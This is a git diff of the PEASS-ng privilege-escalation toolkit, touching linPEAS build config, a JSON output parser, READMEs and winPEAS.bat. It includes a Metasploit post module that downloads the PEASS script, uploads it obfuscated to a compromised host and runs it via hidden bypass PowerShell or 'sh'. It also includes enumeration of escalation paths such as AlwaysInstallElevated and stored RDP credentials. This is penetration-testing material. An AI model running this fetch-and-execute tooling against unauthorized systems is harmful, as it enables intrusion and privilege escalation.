"file_path": LINPEAS_BASE_PARTS + "/5_users_information.sh"
|
||||
},
|
||||
{
|
||||
"name": "Software Information",
|
||||
"name_check": "software_information",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh"
|
||||
"file_path": LINPEAS_BASE_PARTS + "/6_software_information.sh"
|
||||
},
|
||||
{
|
||||
"name": "Files with Interesting Permissions",
|
||||
"name_check": "interesting_perms_files",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/8_interesting_perms_files.sh"
|
||||
},
|
||||
{
|
||||
"name": "Other Interesting Files",
|
||||
"name": "Interesting Files",
|
||||
"name_check": "interesting_files",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/9_interesting_files.sh"
|
||||
},
|
||||
{
|
||||
"name": "API Keys Regex",
|
||||
"name_check": "api_keys_regex",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/10_api_keys_regex.sh"
|
||||
"file_path": LINPEAS_BASE_PARTS + "/7_interesting_files.sh"
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
LINPEAS_BASE_PATH = LINPEAS_BASE_PARTS + "/linpeas_base.sh"
|
||||
TEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base.sh"
|
||||
FINAL_FAT_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas_fat.sh"
|
||||
FINAL_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas.sh"
|
||||
YAML_NAME = "sensitive_files.yaml"
|
||||
YAML_REGEXES = "regexes.yaml"
|
||||
@@ -90,7 +68,6 @@ assert all(f in ROOT_FOLDER for f in COMMON_DIR_FOLDERS)
|
||||
|
||||
PEAS_CHECKS_MARKUP = YAML_LOADED["peas_checks"]
|
||||
PEAS_FINDS_MARKUP = YAML_LOADED["peas_finds_markup"]
|
||||
PEAS_FINDS_CUSTOM_MARKUP = YAML_LOADED["peas_finds_custom_markup"]
|
||||
FIND_LINE_MARKUP = YAML_LOADED["find_line_markup"]
|
||||
FIND_TEMPLATE = YAML_LOADED["find_template"]
|
||||
|
||||
@@ -116,8 +93,3 @@ CAP_SETGID_MARKUP = YAML_LOADED["cap_setgid_markup"]
|
||||
|
||||
LES_MARKUP = YAML_LOADED["les_markup"]
|
||||
LES2_MARKUP = YAML_LOADED["les2_markup"]
|
||||
|
||||
|
||||
FAT_LINPEAS_AMICONTAINED_MARKUP = YAML_LOADED["fat_linpeas_amicontained_markup"]
|
||||
FAT_LINPEAS_GITLEAKS_LINUX_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_linux_markup"]
|
||||
FAT_LINPEAS_GITLEAKS_MACOS_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_macos_markup"]
|
||||
@@ -26,7 +26,7 @@ msf6 post(multi/gather/peass) > show info
|
||||
Rank: Normal
|
||||
|
||||
Provided by:
|
||||
Carlos Polop <@hacktricks_live>
|
||||
Carlos Polop <@carlospolopm>
|
||||
|
||||
Compatible session types:
|
||||
Meterpreter
|
||||
|
||||
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Carlos Polop <@hacktricks_live>'
|
||||
'Carlos Polop <@carlospolopm>'
|
||||
],
|
||||
'Platform' => %w{ bsd linux osx unix win },
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Post
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"]),
|
||||
OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh', "https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe"]),
|
||||
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),
|
||||
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
|
||||
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),
|
||||
@@ -191,14 +191,14 @@ class MetasploitModule < Msf::Post
|
||||
cmd_utf16le = cmd.encode("utf-16le")
|
||||
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
|
||||
|
||||
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"].to_i)
|
||||
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"])
|
||||
|
||||
# If unix, then, suppose linpeas was loaded
|
||||
else
|
||||
cmd += "| #{decode_linpeass_cmd}"
|
||||
cmd += "| sh -s -- #{datastore['PARAMETERS']}"
|
||||
cmd += last_cmd
|
||||
tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"].to_i)
|
||||
tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"])
|
||||
end
|
||||
|
||||
print "\n#{tmpout}\n\n"
|
||||
@@ -220,20 +220,6 @@ class MetasploitModule < Msf::Post
|
||||
print_good("PEASS script sent")
|
||||
end
|
||||
|
||||
def fetch(uri_str, limit = 10)
|
||||
raise 'Invalid URL, too many HTTP redirects' if limit == 0
|
||||
response = Net::HTTP.get_response(URI(uri_str))
|
||||
case response
|
||||
when Net::HTTPSuccess then
|
||||
response
|
||||
when Net::HTTPRedirection then
|
||||
location = response['location']
|
||||
fetch(location, limit - 1)
|
||||
else
|
||||
response.value
|
||||
end
|
||||
end
|
||||
|
||||
def load_peass
|
||||
# Load the PEASS script from a local file or from Internet
|
||||
peass_script = ""
|
||||
@@ -244,7 +230,7 @@ class MetasploitModule < Msf::Post
|
||||
raise 'Invalid URL' unless target.scheme =~ /https?/
|
||||
raise 'Invalid URL' if target.host.to_s.eql? ''
|
||||
|
||||
res = fetch(target)
|
||||
res = Net::HTTP.get_response(target)
|
||||
peass_script = res.body
|
||||
|
||||
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500
|
||||
|
||||
@@ -1,15 +1,14 @@
|
||||
# Privilege Escalation Awesome Scripts Parsers
|
||||
# Privilege Escalation Awesome Scripts JSON exporter
|
||||
|
||||
These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
|
||||
This script allows you to transform the output of linpeas/macpeas/winpeas to JSON.
|
||||
|
||||
```python3
|
||||
python3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>
|
||||
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
|
||||
python3 json2html.py </path/to/peass.json> </path/to/peass.html>
|
||||
python3 peass-parser.py </path/to/executed_peass> </path/to/output_peass.json>
|
||||
```
|
||||
|
||||
This script is still in beta version and has been tested only with linpeas output.
|
||||
|
||||
## JSON Format
|
||||
## Format
|
||||
Basically, **each section has**:
|
||||
- Infos (URLs or info about the section)
|
||||
- Text lines (the real text info found in the section, colors included)
|
||||
@@ -38,7 +37,7 @@ There is a **maximun of 3 levels of sections**.
|
||||
}
|
||||
],
|
||||
"infos": [
|
||||
"https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
|
||||
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits"
|
||||
]
|
||||
},
|
||||
"infos": []
|
||||
@@ -65,7 +64,7 @@ There is a **maximun of 3 levels of sections**.
|
||||
}
|
||||
],
|
||||
"infos": [
|
||||
"https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
|
||||
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits"
|
||||
]
|
||||
},
|
||||
"infos": []
|
||||
@@ -74,8 +73,6 @@ There is a **maximun of 3 levels of sections**.
|
||||
|
||||
There can also be a `<Third level Section Name>`
|
||||
|
||||
If you need to transform several outputs check out https://github.com/mnemonic-re/parsePEASS
|
||||
|
||||
# TODO:
|
||||
|
||||
- **PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!**
|
||||
I'm looking for **someone that could create HTML and PDF reports** from this JSON.
|
||||
@@ -5,7 +5,7 @@ import re
|
||||
import json
|
||||
|
||||
# Pattern to identify main section titles
|
||||
TITLE1_PATTERN = r"══════════════╣" # The size of the first pattern varies, but at least should be that large
|
||||
TITLE1_PATTERN = r"════════════════════════════════════╣"
|
||||
TITLE2_PATTERN = r"╔══════════╣"
|
||||
TITLE3_PATTERN = r"══╣"
|
||||
INFO_PATTERN = r"╚ "
|
||||
@@ -14,15 +14,15 @@ TITLE_CHARS = ['═', '╔', '╣', '╚']
|
||||
# Patterns for colors
|
||||
## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors)
|
||||
COLORS = {
|
||||
"REDYELLOW": ['\x1b[1;31;103m'],
|
||||
"RED": ['\x1b[1;31m'],
|
||||
"GREEN": ['\x1b[1;32m'],
|
||||
"YELLOW": ['\x1b[1;33m'],
|
||||
"BLUE": ['\x1b[1;34m'],
|
||||
"MAGENTA": ['\x1b[1;95m', '\x1b[1;35m'],
|
||||
"CYAN": ['\x1b[1;36m', '\x1b[1;96m'],
|
||||
"LIGHT_GREY": ['\x1b[1;37m'],
|
||||
"DARKGREY": ['\x1b[1;90m'],
|
||||
"REDYELLOW": [r"\x1b\[1;31;103m"],
|
||||
"RED": [r"\x1b\[1;31m"],
|
||||
"GREEN": [r"\x1b\[1;32m"],
|
||||
"YELLOW": [r"\x1b\[1;33m"],
|
||||
"BLUE": [r"\x1b\[1;34m"],
|
||||
"MAGENTA": [r"\x1b\[1;95m", r"\x1b\[1;35m"],
|
||||
"CYAN": [r"\x1b\[1;36m", r"\x1b\[1;96m"],
|
||||
"LIGHT_GREY": [r"\x1b\[1;37m"],
|
||||
"DARKGREY": [r"\x1b\[1;90m"],
|
||||
}
|
||||
|
||||
|
||||
@@ -52,23 +52,11 @@ def get_colors(line: str) -> dict:
|
||||
for c,regexs in COLORS.items():
|
||||
colors[c] = []
|
||||
for reg in regexs:
|
||||
split_color = line.split(reg)
|
||||
|
||||
# Start from the index 1 as the index 0 isn't colored
|
||||
if split_color and len(split_color) > 1:
|
||||
split_color = split_color[1:]
|
||||
|
||||
# For each potential color, find the string before any possible color terminatio
|
||||
for potential_color_str in split_color:
|
||||
color_str1 = potential_color_str.split('\x1b')[0]
|
||||
color_str2 = potential_color_str.split("\[0")[0]
|
||||
color_str = color_str1 if len(color_str1) < len(color_str2) else color_str2
|
||||
|
||||
if color_str:
|
||||
color_str = clean_colors(color_str.strip())
|
||||
for re_found in re.findall(reg+"(.+?)\x1b|$", line):
|
||||
re_found = clean_colors(re_found.strip())
|
||||
#Avoid having the same color for the same string
|
||||
if color_str and not any(color_str in values for values in colors.values()):
|
||||
colors[c].append(color_str)
|
||||
if re_found and not any(re_found in values for values in colors.values()):
|
||||
colors[c].append(re_found)
|
||||
|
||||
if not colors[c]:
|
||||
del colors[c]
|
||||
@@ -87,10 +75,10 @@ def clean_title(line: str) -> str:
|
||||
def clean_colors(line: str) -> str:
|
||||
"""Given a line clean the colors inside of it"""
|
||||
|
||||
for reg in re.findall(r'\x1b\[[^a-zA-Z]+\dm', line):
|
||||
for reg in re.findall(r'\x1b[^ ]+\dm', line):
|
||||
line = line.replace(reg,"")
|
||||
|
||||
line = line.replace('\x1b',"").replace("[0m", "").replace("[3m", "") #Sometimes that byte stays
|
||||
line = line.replace('\x1b',"") #Sometimes that byte stays
|
||||
line = line.strip()
|
||||
return line
|
||||
|
||||
@@ -106,9 +94,6 @@ def parse_line(line: str):
|
||||
|
||||
global FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION
|
||||
|
||||
if "Cron jobs" in line:
|
||||
a=1
|
||||
|
||||
if is_section(line, TITLE1_PATTERN):
|
||||
title = parse_title(line)
|
||||
FINAL_JSON[title] = { "sections": {}, "lines": [], "infos": [] }
|
||||
@@ -139,13 +124,13 @@ def parse_line(line: str):
|
||||
|
||||
C_SECTION["lines"].append({
|
||||
"raw_text": line,
|
||||
"colors": get_colors(line),
|
||||
"clean_text": clean_title(clean_colors(line))
|
||||
"clean_text": clean_colors(line),
|
||||
"colors": get_colors(line)
|
||||
})
|
||||
|
||||
|
||||
def main():
|
||||
for line in open(OUTPUT_PATH, 'r', encoding="utf8").readlines():
|
||||
for line in open(OUTPUT_PATH, 'r').readlines():
|
||||
line = line.strip()
|
||||
if not line or not clean_colors(line): #Remove empty lines or lines just with colors hex
|
||||
continue
|
||||
@@ -162,7 +147,7 @@ if __name__ == "__main__":
|
||||
OUTPUT_PATH = sys.argv[1]
|
||||
JSON_PATH = sys.argv[2]
|
||||
except IndexError as err:
|
||||
print("Error: Please pass the peas.out file and the path to save the json\npeas2json.py <output_file> <json_file.json>")
|
||||
print("Error: Please pass the peas.out file and the path to save the json\n./peas-parser.py <output_file> <json_file.json>")
|
||||
sys.exit(1)
|
||||
|
||||
main()
|
||||
File diff suppressed because one or more lines are too long
@@ -1,149 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
import json
|
||||
import html
|
||||
from reportlab.lib.pagesizes import letter
|
||||
from reportlab.platypus import Frame, Paragraph, Spacer, PageBreak,PageTemplate, BaseDocTemplate
|
||||
from reportlab.platypus.tableofcontents import TableOfContents
|
||||
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
|
||||
from reportlab.lib.units import cm
|
||||
|
||||
styles = getSampleStyleSheet()
|
||||
text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF",
|
||||
"DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"}
|
||||
|
||||
class PageTemplateWithCount(PageTemplate):
|
||||
def __init__(self, id, frames, **kw):
|
||||
PageTemplate.__init__(self, id, frames, **kw)
|
||||
|
||||
def beforeDrawPage(self, canvas, doc):
|
||||
page_num = canvas.getPageNumber()
|
||||
canvas.drawRightString(10.5*cm, 1*cm, str(page_num))
|
||||
|
||||
class MyDocTemplate(BaseDocTemplate):
|
||||
def __init__(self, filename, **kw):
|
||||
self.allowSplitting = 0
|
||||
BaseDocTemplate.__init__(self, filename, **kw)
|
||||
template = PageTemplateWithCount("normal", [Frame(2.5*cm, 2.5*cm, 15*cm, 25*cm, id='F1')])
|
||||
self.addPageTemplates(template)
|
||||
|
||||
def afterFlowable(self, flowable):
|
||||
if isinstance(flowable, Paragraph):
|
||||
text = flowable.getPlainText()
|
||||
style = flowable.style.name
|
||||
if style in ["Heading1", "Heading2", "Heading3"]:
|
||||
self.notify("TOCEntry", (int(style[-1])-1, text, self.page))
|
||||
|
||||
def get_level_styles(level):
|
||||
global styles
|
||||
indent_value = 10 * (level - 1);
|
||||
level_styles = {
|
||||
"title": ParagraphStyle(
|
||||
**dict(styles[f"Heading{level}"].__dict__,
|
||||
**{ "leftIndent": indent_value })),
|
||||
"text": ParagraphStyle(
|
||||
**dict(styles["Code"].__dict__,
|
||||
**{ "backColor": "#F0F0F0",
|
||||
"borderPadding": 5, "borderWidth": 1,
|
||||
"borderColor": "black", "borderRadius": 5,
|
||||
"leftIndent": 5 + indent_value})),
|
||||
"info": ParagraphStyle(
|
||||
**dict(styles["Italic"].__dict__,
|
||||
**{ "leftIndent": indent_value })),
|
||||
}
|
||||
return level_styles
|
||||
|
||||
def get_colors_by_text(colors):
|
||||
new_colors = {}
|
||||
for (color, words) in colors.items():
|
||||
for word in words:
|
||||
new_colors[html.escape(word)] = color
|
||||
return new_colors
|
||||
|
||||
def build_main_section(section, title, level=1):
|
||||
styles = get_level_styles(level)
|
||||
has_links = "infos" in section.keys() and len(section["infos"]) > 0
|
||||
has_lines = "lines" in section.keys() and len(section["lines"]) > 1
|
||||
has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0
|
||||
|
||||
show_section = has_lines or has_children
|
||||
|
||||
elements = []
|
||||
|
||||
if show_section:
|
||||
elements.append(Paragraph(title, style=styles["title"]))
|
||||
|
||||
if show_section and has_links:
|
||||
for info in section["infos"]:
|
||||
words = info.split()
|
||||
words = map(lambda word: f'<a href="{word}" color="blue">{word}</a>' if "http" in word else word, words)
|
||||
words = " ".join(words)
|
||||
elements.append(Paragraph(words, style=styles["info"] ))
|
||||
|
||||
if has_lines:
|
||||
colors_by_line = list(map(lambda x: x["colors"], section["lines"]))
|
||||
lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"]))
|
||||
for (idx, line) in enumerate(lines):
|
||||
colors = colors_by_line[idx]
|
||||
colored_text = get_colors_by_text(colors)
|
||||
colored_line = line
|
||||
for (text, color) in colored_text.items():
|
||||
if color == "REDYELLOW":
|
||||
colored_line = colored_line.replace(text, f'<font color="{text_colors[color]}"><b>{text}</b></font>')
|
||||
else:
|
||||
colored_line = colored_line.replace(text, f'<font color="{text_colors[color]}">{text}</font>')
|
||||
lines[idx] = colored_line
|
||||
elements.append(Spacer(0, 10))
|
||||
line = "<br/>".join(lines)
|
||||
|
||||
if level == 1: line = line[5:]
|
||||
elements.append(Paragraph(line, style=styles["text"]))
|
||||
|
||||
if has_children:
|
||||
for child_title in section["sections"].keys():
|
||||
element_list = build_main_section(section["sections"][child_title], child_title, level + 1)
|
||||
elements.extend(element_list)
|
||||
|
||||
if show_section:
|
||||
elements.append(Spacer(1, 40 - (10 * level)))
|
||||
|
||||
return elements
|
||||
|
||||
|
||||
def main():
|
||||
with open(JSON_PATH) as file:
|
||||
data = json.loads(file.read())
|
||||
|
||||
doc = MyDocTemplate(PDF_PATH)
|
||||
toc = TableOfContents()
|
||||
toc.levelStyles = [
|
||||
ParagraphStyle(name = "Heading1", fontSize = 14, leading=16),
|
||||
ParagraphStyle(name = "Heading2", fontSize = 12, leading=14, leftIndent = 10),
|
||||
ParagraphStyle(name = "Heading3", fontSize = 10, leading=12, leftIndent = 20),
|
||||
]
|
||||
|
||||
elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()]
|
||||
|
||||
for title in data.keys():
|
||||
element_list = build_main_section(data[title], title)
|
||||
elements.extend(element_list)
|
||||
|
||||
doc.multiBuild(elements)
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
JSON_PATH = sys.argv[1]
|
||||
PDF_PATH = sys.argv[2]
|
||||
except IndexError as err:
|
||||
print("Error: Please pass the peas.json file and the path to save the pdf\njson2pdf.py <json_file> <pdf_file.pdf>")
|
||||
sys.exit(1)
|
||||
|
||||
main()
|
||||
|
||||
# Changes:
|
||||
# 1. Removed redundant checks for keys in dictionary.
|
||||
# 2. Simplified the condition in afterFlowable method.
|
||||
# 3. Removed unnecessary check for lines in build_main_section method.
|
||||
# 4. Removed unnecessary check for sections in build_main_section method.
|
||||
# 5. Removed unnecessary check for infos in build_main_section method.
|
||||
# 6. Removed unnecessary check for show_section in build_main_section method.
|
||||
@@ -2,19 +2,21 @@
|
||||
|
||||

|
||||
|
||||
Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
|
||||
Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)**
|
||||
|
||||
Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||
Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)**
|
||||
|
||||
## Quick Start
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**.
|
||||
|
||||
## WinPEAS Flavours
|
||||
- [Link to WinPEAS C# .exe project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
|
||||
- **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**
|
||||
- [Link to WinPEAS .ps1 project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASps1)
|
||||
## WinPEAS .exe and .bat
|
||||
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
|
||||
- [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
|
||||
- **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**
|
||||
|
||||
## Please, if this tool has been useful for you consider to donate
|
||||
|
||||
[](https://www.patreon.com/peass)
|
||||
|
||||
## PEASS Style
|
||||
|
||||
@@ -24,4 +26,8 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s
|
||||
|
||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
|
||||
By Polop
|
||||
## License
|
||||
|
||||
MIT License
|
||||
|
||||
By Polop<sup>(TM)</sup>
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||

|
||||
|
||||
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||
**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)**
|
||||
|
||||
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)
|
||||
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)
|
||||
|
||||
### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required)
|
||||
|
||||
@@ -129,9 +129,16 @@ This is the kind of outpuf that you have to look for when usnig the winPEAS.bat
|
||||
|
||||
[More info about icacls here](https://ss64.com/nt/icacls.html)
|
||||
|
||||
## Please, if this tool has been useful for you consider to donate
|
||||
|
||||
[](https://www.patreon.com/peass)
|
||||
|
||||
## Advisory
|
||||
|
||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
|
||||
## License
|
||||
|
||||
MIT License
|
||||
|
||||
By Polop<sup>(TM)</sup>
|
||||
|
||||
@@ -52,10 +52,10 @@ CALL :ColorLine " %E%41mUse it at your own networks and/or with the network ow
|
||||
ECHO.
|
||||
|
||||
:SystemInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
|
||||
systeminfo
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -174,7 +174,7 @@ CALL :T_Progress 1
|
||||
:UACSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
|
||||
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -225,7 +225,7 @@ CALL :T_Progress 1
|
||||
:InstalledSoftware
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
|
||||
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software
|
||||
ECHO.
|
||||
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
||||
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
||||
@@ -236,15 +236,15 @@ CALL :T_Progress 2
|
||||
|
||||
:RemodeDeskCredMgr
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager
|
||||
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager
|
||||
IF exist "%AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WSUS
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
|
||||
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
|
||||
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -252,7 +252,7 @@ CALL :T_Progress 1
|
||||
:RunningProcesses
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
|
||||
ECHO. [i] Something unexpected is running? Check for vulnerabilities
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes
|
||||
tasklist /SVC
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -273,7 +273,7 @@ CALL :T_Progress 3
|
||||
:RunAtStartup
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
|
||||
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup
|
||||
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
@@ -297,7 +297,7 @@ CALL :T_Progress 2
|
||||
:AlwaysInstallElevated
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
|
||||
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
ECHO.
|
||||
@@ -361,7 +361,7 @@ CALL :T_Progress 1
|
||||
:BasicUserInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
|
||||
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
|
||||
